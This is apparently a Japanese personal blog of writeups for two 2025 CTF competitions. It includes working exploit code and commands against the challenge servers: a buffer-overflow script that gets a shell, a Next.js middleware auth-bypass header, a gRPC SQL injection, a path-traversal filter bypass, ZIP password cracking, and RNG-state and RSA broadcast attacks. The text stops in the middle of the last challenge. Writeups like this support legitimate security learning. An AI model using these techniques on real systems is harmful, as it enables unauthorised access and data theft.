No Hack No CTF 2025 Writeup

この大会は2025/7/5 9:00(JST)~2025/7/7 21:00(JST)に開催されました。
今回もチームで参戦。結果は2777点で472チーム中26位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Welcome)

画像の部分にマウスカーソルを当てると、フラグが表示された。

NHNC{Welcom_Flag_lol}

Preparing Space (PPC)

問題はこうなっている。


問題の意味が難しかったので、ChatGPTで整理してもらう。

問題の要点は以下の通り。

  • あなたはn個のハードディスクを持っていて、それぞれの容量はa_1, a_2, ..., a_n。
  • 「予約領域」r を決める。各ディスクでは、a_i > r の場合に a_i - r のみ使える。
  • rをできるだけ大きくしたい。ただし、すべてのusable spaceの合計がx(必要な容量)以上でなければならない。

rを0から最大ディスク容量までで二分探索し、条件を満たす最大のrを探すことができる。

このことから次のコードを送信する。

def max_reserved_space(n, x, a):
    left = 0
    right = max(a)
    answer = 0

    while left <= right:
        mid = (left + right) // 2
        total = sum(max(0, ai - mid) for ai in a)

        if total >= x:
            answer = mid
            left = mid + 1
        else:
            right = mid - 1

    return answer

if __name__ == "__main__":
    n, x = map(int, input().split())
    a = list(map(int, input().split()))
    print(max_reserved_space(n, x, a))

すべてのテストケースで正常終了したら、フラグが表示された。

NHNC{PpC_Pr0B1eM_OjCR8ZSo9XYYBCGEgPB5LUW4Oc}

Travel (Misc)


この写真を撮影したときにいた建物の住所を答える問題。
湯気の出ているあたりを画像検索すると、東広島市西条エリアが該当する。さらに「東広島市西条」というキーワードで検索すると、以下のページが見つかる。

https://tabetainjya.com/archives/cat43/routeinn-saijyo/

オレンジと茶の模様の建物がある。この建物の前の景色は以下の場所で合う。
https://www.google.co.jp/maps/place/%E3%83%9B%E3%83%86%E3%83%AB%E3%83%AB%E3%83%BC%E3%83%88%E3%82%A4%E3%83%B3%E6%9D%B1%E5%BA%83%E5%B3%B6%E8%A5%BF%E6%9D%A1%E9%A7%85%E5%89%8D/@34.4296437,132.7447691,3a,90y,102.93h,103.95t/data=!3m7!1e1!3m5!1snKEEEDXzxbyM4gRqEWGjtQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-13.948421231734457%26panoid%3DnKEEEDXzxbyM4gRqEWGjtQ%26yaw%3D102.93231226497795!7i16384!8i8192!4m10!3m9!1s0x3550657903e41fe7:0x4afb68fbb75b8549!5m2!4m1!1i2!8m2!3d34.4295833!4d132.7439502!10e5!16s%2Fg%2F11dxdn3zh0?hl=ja&entry=ttu&g_ep=EgoyMDI1MDYzMC4wIKXMDSoASAFQAw%3D%3D

ここから写真撮影した場所を探すと、位置的には「ホテルルートイン東広島西条駅前」と考えられる。
住所は英語表記では以下のようになっている。

14-24 Saijohonmachi, Higashihiroshima, Hiroshima 739-0011
NHNC{14-24_Saijohonmachi_Higashihiroshima_Hiroshima_739-0011_Japan}

No Flag?l (Misc)

$ stegseek flag.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "1313"
[i] Original filename: "flag.txt".
[i] Extracting to "flag.jpg.out".

$ xxd flag.jpg.out | head -n 20
00000000: 6874 7470 733a 2f2f 796f 7574 752e 6265  https://youtu.be
00000010: 2f4b 4c55 654c 6165 3479 366b 3f74 3d31  /KLUeLae4y6k?t=1
00000020: 3120 e280 8ce2 808b e280 8ce2 808c e280  1 ..............
00000030: 8be2 808b e280 8be2 808c e280 8ce2 808b  ................
00000040: e280 8ce2 808c e280 8be2 808c e280 8ce2  ................
00000050: 808c e280 8ce2 808b e280 8ce2 808c e280  ................
00000060: 8be2 808b e280 8be2 808c e280 8ce2 808b  ................
00000070: e280 8ce2 808c e280 8ce2 808c e280 8be2  ................
00000080: 808b e280 8ce2 808b e280 8be2 808b e280  ................
00000090: 8be2 808c e280 8be2 808b e280 8ce2 808b  ................
000000a0: e280 8be2 808b e280 8be2 808c e280 8be2  ................
000000b0: 808c e280 8ce2 808c e280 8be2 808b e280  ................
000000c0: 8ce2 808c e280 8be2 808b e280 8ce2 808b  ................
000000d0: e280 8be2 808b e280 8ce2 808c e280 8be2  ................
000000e0: 808c e280 8ce2 808c e280 8be2 808b e280  ................
000000f0: 8ce2 808c e280 8ce2 808c e280 8ce2 808c  ................
00000100: e280 8be2 808c e280 8be2 808b e280 8ce2  ................
00000110: 808b e280 8ce2 808b e280 8be2 808b e280  ................
00000120: 8ce2 808b e280 8be2 808b e280 8ce2 808c  ................
00000130: e280 8be2 808b e280 8ce2 808c e280 8ce2  .......

e2808cとe2808bの2パターンの文字の結合がたくさんされているので、2進数に変えてデコードする。

#!/usr/bin/env python3
with open('flag.jpg.out', 'rb') as f:
    data = f.read()[34:].rstrip()

bin_data = ''
for i in range(0, len(data), 3):
    if data[i:i+3] == b'\xe2\x80\x8c':
        bin_data += '0'
    elif data[i:i+3] == b'\xe2\x80\x8b':
        bin_data += '1'

flag = ''
for i in range(0, len(bin_data), 8):
    flag += chr(int(bin_data[i:i+8], 2))
print(flag)
NHNC{z3r0-w1dTh_5p4c3-->1_z3r0-W1dH_n0n-j01N3r-->0_c00l!!!!!!}

clannad_is_g00d_anim3 (Pwn)

Dockerfileに書かれているように、Ubuntuソースコードコンパイルし、バイナリを生成する。

$ gcc chall.c -o chall -fno-stack-protector -z execstack -no-pie 
/usr/bin/ld: /tmp/ccMG8RSQ.o: in function `vuln':
chall.c:(.text+0x51): 警告: the `gets' function is dangerous and should not be used.

BOFClannad関数をコールすればよい。

$ ROPgadget --binary chall | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('chal.78727867.xyz', 9999)
else:
    p = process('./chall')

elf = ELF('./chall')

ret_addr = 0x40101a
Clannad_addr = elf.symbols['Clannad']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(Clannad_addr)

data = p.recvuntil(b':').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to chal.78727867.xyz on port 9999: Done
[*] '/mnt/hgfs/Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
Welcome to the world of dango daikazoku
enter a dango:b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xb6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat /home/ctf/flag.txt
NHNC{CLANNAD_1s_g00d_anim3_and_you_kn0w_BOF}
NHNC{CLANNAD_1s_g00d_anim3_and_you_kn0w_BOF}

Next Song is 春日影 (Web)

/adminにNodeJSの脆弱性があるようだ。以下のページを参考にする。
https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-bypass/

x-middleware-subrequestのHTTPヘッダを設定し、必要に応じて複数回middlewareをバイパスすることができる。

$ curl https://nhnc_next-song.frankk.uk/admin -H "x-middleware-subrequest: middleware"   
Found. Redirecting to https://youtu.be/W8DCWI_Gc9c?si=L-fDdWK4YnGJtEfB
$ curl https://nhnc_next-song.frankk.uk/admin -H "x-middleware-subrequest: middleware:middleware"
NHNC{ANon_iS_cUtE_RIGhT?}
NHNC{ANon_iS_cUtE_RIGhT?}

Catch The Goose (Web)

コードからgRPCのサーバであることがわかる。
仮で以下の内容でuser.protoを作成する。

syntax = "proto3";

service UserService {
  rpc GetUser (UserRequest) returns (UserReply);
}

message UserRequest {
  string username = 1;
}

message UserReply {
  string data = 1;
}

次に、gRPCのスタブを作成する。

$ python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. user.proto

usernameを変更し、最終的には以下のコードでSQLインジェクションを実行した。

#!/usr/bin/env python3
import grpc
import user_pb2
import user_pb2_grpc

def run():
    channel = grpc.insecure_channel('chal.78727867.xyz:14514')
    stub = user_pb2_grpc.UserServiceStub(channel)

    username = '\' UNION SELECT value FROM users limit 1, 1 --'
    response = stub.GetUser(user_pb2.UserRequest(username=username))
    print("Response:", response.data)

if __name__ == '__main__':
    run()

実行結果は以下の通り。

Response: NHNC{lETs_cOoK_THe_GoOSE_:speaking_head::speaking_head::speaking_head:}
NHNC{lETs_cOoK_THe_GoOSE_:speaking_head::speaking_head::speaking_head:}

dkri3c1_love_cat (Web)

http://chal.78727867.xyz:1234/view?img=cat.pngでstatic/images/cat.pngと同じ画像が表示された。
パストラバーサルで2階層上のapp.pyを見てみる。

$ curl --path-as-is "http://chal.78727867.xyz:1234/view?img=../../app.py"                        
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>File not found.</p>

ダメだったので、一回すべての"../"を削除をしていると推測し、"....//"で回避してみる。

$ curl --path-as-is "http://chal.78727867.xyz:1234/view?img=....///....///app.py"  
from flask import Flask, request, send_file, abort
import os

app = Flask(__name__)

@app.route('/')
def index():
    return     '''

        <h1> &#128049; Welcome to dkri3c1's Cat Photo Shop </h1>
        <p>Cat is Cuteeeee :D </p>
        <code>BTW, You can use /view?img=cat.png to view Cute Catttt </code>
            <br></br>
        <img src="static/images/cat.png" width="500" height="500">
    ''' 

@app.route('/view')
def view_image():
    img = request.args.get('img', '')
    img = img.replace('../','')
    path = os.path.join('static/images', img)

    try:
        return send_file(path)
    except FileNotFoundError:
        return abort(404, 'File not found.')

if __name__ == '__main__':
    app.run('0.0.0.0',debug=False,port='1234')

app.pyの内容を確認することができた。同じ階層にあるflag.txtを見てみる。

$ curl --path-as-is "http://chal.78727867.xyz:1234/view?img=....///....///flag.txt"
NHNC{dkri3c1_Like_Cat_oUo_>_<_c8763}
NHNC{dkri3c1_Like_Cat_oUo_>_<_c8763}

bloCkchAin ciphEr'S sERcret (Crypto)

https://developer.metamask.io/API Keyを取得し、それを利用し、get_flag関数の返却値を取得する。

$ cast call 0x9C71c90140162a5BAE7159Ec5CC4C86FAddCBfb6 "get_flag()" --rpc-url https://sepolia.infura.io/v3/<api key>
0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020554f554a7b666c775f6a686c7a68795f707a5f6c675f7a765f73706b7061667d

16進数の"20"以降をhexデコードする。

$ echo 554f554a7b666c775f6a686c7a68795f707a5f6c675f7a765f73706b7061667d | xxd -r -p
UOUJ{flw_jhlzhy_pz_lg_zv_spkpaf}

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 7:
NHNC{yep_caesar_is_ez_so_lidity}
NHNC{yep_caesar_is_ez_so_lidity}

FRSA (Crypto)

暗号化処理の概要は以下の通り。

・p: 1024ビット素数
・q: 1024ビット素数
・n = p * q
・e: 2**512以上2**1024未満のランダム整数
・plaintext: wonderful_work.txtを読み込み、小文字にしたもの
・arr = []
・plaintextの各文字iについて以下を実行
 ・arrにpow(iのASCIIコード, e, n)を追加
・so_wonderful_work.txtにnと改行、arrを出力

arrの数値の種類を確認したら、27種類であった。おそらく小文字+記号だと思うが、換字式暗号ととらえ、適当な文字に変換する。

#!/usr/bin/env python3
from string import *

with open('so_wonderful_work.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0])
arr = eval(params[1])
assert len(set(arr)) == 27

chars = ascii_uppercase + 'a'

dic = {}
enc = ''
index = 0
for a in arr:
    if a not in dic:
        dic[a] = chars[index]
        index += 1
    enc += dic[a]

print(enc)

実行結果は以下の通り。

ABCDEBEFGHCIJHKGAFECLGAMCKNALCABGMIEFKEBKHOCGCPEQCPHAELCRAKECGCPEQCKASELCBEIEFCTGBCMEKGABCGCNEFJATCDGHHJUABDCNJFLECKNALCLEESLCKJCSGVECGCHJKCJPCLEBLECFADNKCKNECWXATVCRFJQBCPJYCZXSULCJIEFCKNECHGaOCMJDCMESJTFAKXLCJBTECLGAMCKNALCMJBKCHJJVCGKCEIEFOJBECQAKNCMALKFXLKCRXKCRECPAFSCGBMCPAFSCKNALCALCABMEEMCGCQALECLGOABDCKNEBCQNGKCRGDENJKCJBTECLGAMCGCPAFSCREHAEPCTGBCSGVECKNECNEGFKCJPCKNECLKFJBDCPAFSCGBMCKNEOCGFECSJFECMEKEFSABEMCGHKNJXDNCKNALCLEBKEBTECALCLNJFKCAKCSGVELCSECKNABVCGRJXKCAKCQNOCMJELCBNBTKNALALFLGGBMPFEWXEBTOGBGHOLALCNGUUEB

頻度的に"C"はスペースと考えられる。"C"を" "(スペース)にし、小文字の"a"を"C"とする。

AB DEBEFGH IJHKGAFE LGAM KNAL ABGMIEFKEBKHO G PEQ PHAEL RAKE G PEQ KASEL BEIEF TGB MEKGAB G NEFJAT DGHHJUABD NJFLE KNAL LEESL KJ SGVE G HJK JP LEBLE FADNK KNE WXATV RFJQB PJY ZXSUL JIEF KNE HGCO MJD MESJTFAKXL JBTE LGAM KNAL MJBK HJJV GK EIEFOJBE QAKN MALKFXLK RXK RE PAFS GBM PAFS KNAL AL ABMEEM G QALE LGOABD KNEB QNGK RGDENJK JBTE LGAM G PAFS REHAEP TGB SGVE KNE NEGFK JP KNE LKFJBD PAFS GBM KNEO GFE SJFE MEKEFSABEM GHKNJXDN KNAL LEBKEBTE AL LNJFK AK SGVEL SE KNABV GRJXK AK QNO MJEL BNBTKNALALFLGGBMPFEWXEBTOGBGHOLAL NGUUEB

これをquipqiupで復号する。

IN GENERAL VOLTAIRE SAID THIS INADVERTENTLY A FEW FLIES BITE A FEW TIMES NEVER CAN DETAIN A HEROIC GALLOPING HORSE THIS SEEMS TO MAKE A LOT OF SENSE RIGHT THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG DEMOCRITUS ONCE SAID THIS DONT LOOK AT EVERYONE WITH DISTRUST BUT BE FIRM AND FIRM THIS IS INDEED A WISE SAYING THEN WHAT BAGEHOT ONCE SAID A FIRM BELIEF CAN MAKE THE HEART OF THE STRONG FIRM AND THEY ARE MORE DETERMINED ALTHOUGH THIS SENTENCE IS SHORT IT MAKES ME THINK ABOUT IT WHY DOES NHNCTHISISRSAANDFREQUENCYANALYSIS HAPPEN

最後から2つ目の単語がフラグになっているので、"{"と"}"を追加し、"_"を単語の間に入れ、フラグの形式にする。

NHNC{THIS_IS_RSA_AND_FREQUENCY_ANALYSIS}

🐺 Verifier (Crypto)

サーバの処理概要は以下の通り。

・SIZE = 64
・e = 37
・p, q: 1024ビット素数
・((p-1)*(q-1)) % e が 0の間、以下実行
 ・p, q: 1024ビット素数
・N = p * q
・以下繰り返し
 ・OTP: SIZEビット整数
 ・pow(OTP, e, N)を表示
 ・TRIAL: 数値入力
 ・TRIALとOTPが一致する場合、
  ・pow(FLAG, e, N)を出力
  ・繰り返し継続
 ・OTPを出力

64ビットの正しいOTPは取得できるので、これを312回取得すれば、Mersenne Twisterの性質から次のOTPは取得できる。またpow(OTP, e, N)の値をpow(OTP, e)から引けば、Nの倍数になるため、すべてのこの値のGCDを求めれば、Nは算出できる。さらに取得したpow(FLAG, e, N)を異なるNに対して37個取得すれば、Hastad's Broadcast Attackで復号できる。

#!/usr/bin/env python3
import socket
import random
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

e = 37

ns = []
cs = []
for _ in range(e):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('chal.78727867.xyz', 31337))

    data = recvuntil(s, b'\n').rstrip()
    print(data)

    N = -1
    state = []
    for i in range(312):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        c = int(data.split(' ')[-1])
        data = recvuntil(s, b': ')
        print(data + '1')
        s.sendall(b'1\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        OTP = int(data.split(' ')[-1])

        if N == -1:
            N = pow(OTP, e) - c
        else:
            N = GCD(N, pow(OTP, e) - c)

        state.append(untemper(OTP & 0xffffffff))
        state.append(untemper((OTP >> 32) & 0xffffffff))

    state.append(624)
    random.setstate([3, tuple(state), None])

    OTP = random.getrandbits(64)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b': ')
    print(data + str(OTP))
    s.sendall(str(OTP).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    enc_flag = int(data.split(' ')[-1])

    ns.append(N)
    cs.append(enc_flag)

me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

=== ICEDTEA Verifier 1.0 ===
signed: 6964052412068012384829511708449772761074714261887137553867960779974383553667198953146456963307919908352528258009879656270342873637443152227740904933638908080522737768242232164224818299281056698324801967592555152244386340399283066171910916287148260397166865565579001003602768254948140201094388352172319274627933429903211429152628649501470983973180965362057080502764729418628583928379112882704793140228926993482884406931653849999170948324997311773600684478092899086175458850508823636425015872226681112907502664094455126047072449715053064841228728369077806011713773609288916669742340375275947690948491973861854168959008
OTP: 1
Invalid OTP, 15936716307225788111
signed: 13076322612195572877150126781334323391672992349570079099683229262345503770806036829929541370628337885665956598854831774065751402124927111159908081049997584264047955215859569355510823040936577256684908349535934935173394905741489678349063266197224716090457606708736031437882159644252523989710982367620109130762736267609880765260939343500838887329504763479791875770526646430807403471648724645222263077157729711120745812260226923839238749146085326048180266821012548114480088269152617111790892445870766895615515718809440720502986989182256731936313705937541781636123984060977882015868970295663792178018437525970209688699628
OTP: 1
Invalid OTP, 7436813226023323819
signed: 9652463873983801726651236019757231896305271625763862338064356191877022507016263296969031603340704483534888716197981899366115006239475064904507024717662190433973850800725283894811571625647174528698834163496920440995004980698603424063360459750153543642167792636096314082110619226862325649972698085794815108415840722882321377396456902074467298139871302659201349824024671992669790925256465634819695363346817560812269589281150291373007049556294674514645983171790998712719098239982793502823054202646905677891840230647486045465272215437631556889901327186269247942430451436472536114132584847619398924364355534543795553006194
OTP: 1
Invalid OTP, 15638667597903440963
                :
                :
signed: 8771987981479558298534372247859233968934739074182349423186193866329785516130311081064079969813068735672945009989972435186627711099869305822653083635540831833735850593868246608619707976460199424286077941822465655741695206598395679973565281191905240940712815119457499420808064024746783065274793186265633740023055132534283733785486011025844620555489473462674429745994491716085962089830151717037318860304929306728845049259503250203991934143452919430594250346935641167356126271616314287083763366601263485386090382991171916557471114542314703635439185072793458349083988106853327620778482382927250765116628794741447902752166
OTP: 1
Invalid OTP, 17675523813852780690
signed: 8841696942714117885070160423908012862865125551577035849775603523061962752292781736582791706337542695569668593257655247720952981750333372656659012244333638962248655544034423614677453454036863497953632084740136926700199809863818086650146270588281907667437688342100215080277538882752084532973734751768581056678143767334630204186172796560708981189050861527935093991931763248488870922950262599914327687429907159120351128597231832335468517409290734759523641680176237783708897274470644678830659629591442002921692889659136028617021570729912681763221827094049865190618727640657001130612575980719826808155053678580678852516052
OTP: 1
Invalid OTP, 2708586136652665950
signed: 7368068724993767372877230606361053011726263923885659840446592640110566823175766067304451057718061646686778103185341095553064590126527188944754008117528837209666970160914770530682512489502603796725542537443764832084306976145677523053334313463057840637864830056170044595810948376270105626734005422115350184959389711882997351315302164685101911281935990721906032970143682442993593125505288310042153880968726599422343739807764801763230729079483403382484137147251799305102111060992488605805866490142352392831621765943120891835683649009472606184474917194798582442221422555440674263168419396050517681853273176028637028044353
OTP: 3800160162271077064
signed: 5806781467603418308313418692141462976968136797061600613178056417370695756166314458108961638737229755721120741328211080070399004188173762002671675636307135967170270622924188379430244941983688160102563441225380039208429866947016570836083227870116523683043200539675389125807476579378669507570803310364736010971134828064418728383514211630153703997457280322408326923492744810947506650890162152832939987212388055771164328865732058059370456648535512452303559716051546155567645103254524639759571037379243747601062560754507194310222607138663656523900509203489665675920799292795020689312903052613192598359465700505869148400499
NHNC{using_big_intergers_in_python_is_still_a_pain}
NHNC{using_big_intergers_in_python_is_still_a_pain}

Junior.Crypt.2025 CTF Writeup

この大会は2025/7/1 17:00(JST)~2025/7/3 17:00(JST)に開催されました。
今回は個人で参戦。結果は2166点で707チーム中118位でした。
自分で解けた問題をWriteupとして書いておきます。

Check (Welcome)

Telegramに入ったら、メッセージにフラグが書いてあった。

grodno{we_hope_to_see_you_in_grodno!}

What to do with PPC? (Beginner)

PPCの問題に関する説明で、わかったら"0"をSumitすればよいとのこと。

0

Double Trouble (Beginner)

2回base64デコードすればよい。

$ echo WjNKdlpHNXZlMlpwY25OMFgzTjBaWEJmYzJWamIyNWtYM04wWlhCOQ== | base64 -d | base64 -d
grodno{first_step_second_step}
grodno{first_step_second_step}

EXIF (Beginner)

$ exiftool Forest.jpg
ExifTool Version Number         : 13.00
File Name                       : Forest.jpg
Directory                       : .
File Size                       : 59 kB
File Modification Date/Time     : 2025:07:01 17:27:44+09:00
File Access Date/Time           : 2025:07:01 17:27:50+09:00
File Inode Change Date/Time     : 2025:07:01 17:27:44+09:00
File Permissions                : -rwxrwxrwx
File Type                       : Extended WEBP
File Type Extension             : webp
MIME Type                       : image/webp
WebP Flags                      : XMP, EXIF, ICC Profile
Image Width                     : 600
Image Height                    : 398
Profile CMM Type                : 
Profile Version                 : 4.3.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2016:01:01 00:00:00
Profile File Signature          : acsp
Primary Platform                : Unknown ()
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Media-Relative Colorimetric
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : 
Profile ID                      : 0
Profile Description             : sRGB
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Media White Point               : 0.9642 1 0.82491
Red Tone Reproduction Curve     : (Binary data 40 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 40 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 40 bytes, use -b option to extract)
Profile Copyright               : Google Inc. 2016
VP8 Version                     : 0 (bicubic reconstruction, normal loop)
Horizontal Scale                : 0
Vertical Scale                  : 0
Exif Byte Order                 : Big-endian (Motorola, MM)
Software                        : Photopea Editor (www.photopea.com)
Modify Date                     : 2025:06:28 23:38:49
XMP Toolkit                     : Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22
Subject                         : flag{beyond_the_image}
Image Size                      : 600x398
Megapixels                      : 0.239
flag{beyond_the_image}

Birds and Wires (Beginner)

この添付の画像にメッセージが隠されている。


Birds on a Wire Cipherと推測し、https://www.dcode.fr/birds-on-a-wire-cipherで復号する。

grodno{tweet_tweeet}

The Ripper (Beginner)

zipにパスワードがかかっていて、数字9桁であることがわかっている。

$ zip2john super-secret-files.zip | head -n 1 | cut -d ":" -f 2 > hash.txt
$ hashcat -a 3 -m 13600 hash.txt ?d?d?d?d?d?d?d?d?d
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz, 1433/2930 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$zip2$*0*3*0*b50a7bf51dfaf63512743e024221d680*4c44*42*fdb36b133c3569f49ef51c031c906a8f1862379855b33545377955721b4e88a0b072dc488c3f56fb0aaeb647268251de0613c251851d2f686bcdd0119cda483af207*1d846d1cdfbccb5556c3*$/zip2$:124161344
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13600 (WinZip)
Hash.Target......: $zip2$*0*3*0*b50a7bf51dfaf63512743e024221d680*4c44*.../zip2$
Time.Started.....: Tue Jul  1 18:28:06 2025 (2 hours, 56 mins)
Time.Estimated...: Tue Jul  1 21:24:32 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d?d [9]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    39402 H/s (11.10ms) @ Accel:128 Loops:999 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 504289792/1000000000 (50.43%)
Rejected.........: 0/504289792 (0.00%)
Restore.Point....: 50428928/100000000 (50.43%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-999
Candidate.Engine.: Device Generator
Candidates.#1....: 162933344 -> 177161344
Hardware.Mon.#1..: Util: 90%

Started: Tue Jul  1 18:27:36 2025
Stopped: Tue Jul  1 21:24:33 2025

パスワードは「124161344」であることがわかったので、解凍する。

$ 7z x super-secret-files.zip

7-Zip 24.08 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-08-11
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 25714 bytes (26 KiB)

Extracting archive: super-secret-files.zip
--
Path = super-secret-files.zip
Type = zip
Physical Size = 25714

    
Enter password (will not be echoed):
Everything is Ok

Files: 4
Size:       72596
Compressed: 25714

$ cat super-secret-file.txt | grep grodno{
grodno{0n_linux_it_would_be_easier_t0_do_this}
grodno{0n_linux_it_would_be_easier_t0_do_this}

White Cat in a White Room (Beginner)

「青い空を見上げればいつもそこに白い猫」で開き、ステガノグラフィ解析を行う。
「パレット ランダム配色 動的生成 1」でフラグが現れた。

grodno{4374575035158325358345436}

Yin Yang (Beginner)

この添付の画像にフラグが隠されている。

黒と赤の魚の頭から順番にお互いにXORし、文字にするとフラグになりそう。

>>> r = [188, 125, 135, 65, 97, 24, 39, 210, 40, 181, 215, 126, 200, 223, 231, 91, 38, 207, 165, 117, 149, 157, 126]
>>> b = [219, 15, 232, 37, 15, 119, 92, 230, 28, 141, 229, 74, 240, 230, 212, 105, 21, 253, 149, 71, 166, 165, 3]
>>> ''.join([chr(x ^ y) for x, y in zip(r, b)])
'grodno{448248932320238}'
grodno{448248932320238}

LCG hack (PPC. Professional Programming and Coding)

サーバの処理概要は以下の通り。

・m: UNIXTIMEの1000000倍の整数切り上げ
・a = 2**15-1
・b = 2**51-1
・x = m
・rand_numbers = [x,]
・49回以下繰り返し
 ・x = (a * x + b) % m
 ・rand_numbersにxを追加
・ind = 0
・以下繰り返し
 ・indがrandnumbersの長さと一致する場合、繰り返し終了
 ・inp: 入力
 ・inpが"1"の場合
  ・rand_numbers[ind]を出力
 ・inpが"2"の場合
  ・ans: 数値入力
  ・ansがrand_numbers[ind]と一致する場合、フラグを表示
  ・ansがrand_numbers[ind]と一致しない場合、rand_numbers[ind]を表示
 ・indをプラス1

16個くらい乱数を入手する。LCGなので、GCDを使ってmを算出することができる。そうすれば、最後に入手した乱数から次の乱数を算出することができる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from functools import reduce

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

a = 2**15 - 1
b = 2**51 - 1

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9042))

for _ in range(22):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

rand_nums = []
for i in range(16):
    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    num = int(data.split(' ')[-1])
    rand_nums.append(num)

delta = [d1 - d0 for (d0, d1) in zip(rand_nums, rand_nums[1:])]
m_mul = [d0 * d2 - d1 * d1 for (d0, d1, d2) in zip(delta, delta[1:], delta[2:])]
m = reduce(GCD, m_mul)

ans = (a * rand_nums[-1] + b) % m

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b': ')
print(data + str(ans))
s.sendall(str(ans).encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

██╗      ██████╗ ██████╗     ██╗  ██╗ █████╗  ██████╗██╗  ██╗
██║     ██╔════╝██╔════╝     ██║  ██║██╔══██╗██╔════╝██║ ██╔╝
██║     ██║     ██║  ███╗    ███████║███████║██║     █████╔╝
██║     ██║     ██║   ██║    ██╔══██║██╔══██║██║     ██╔═██╗
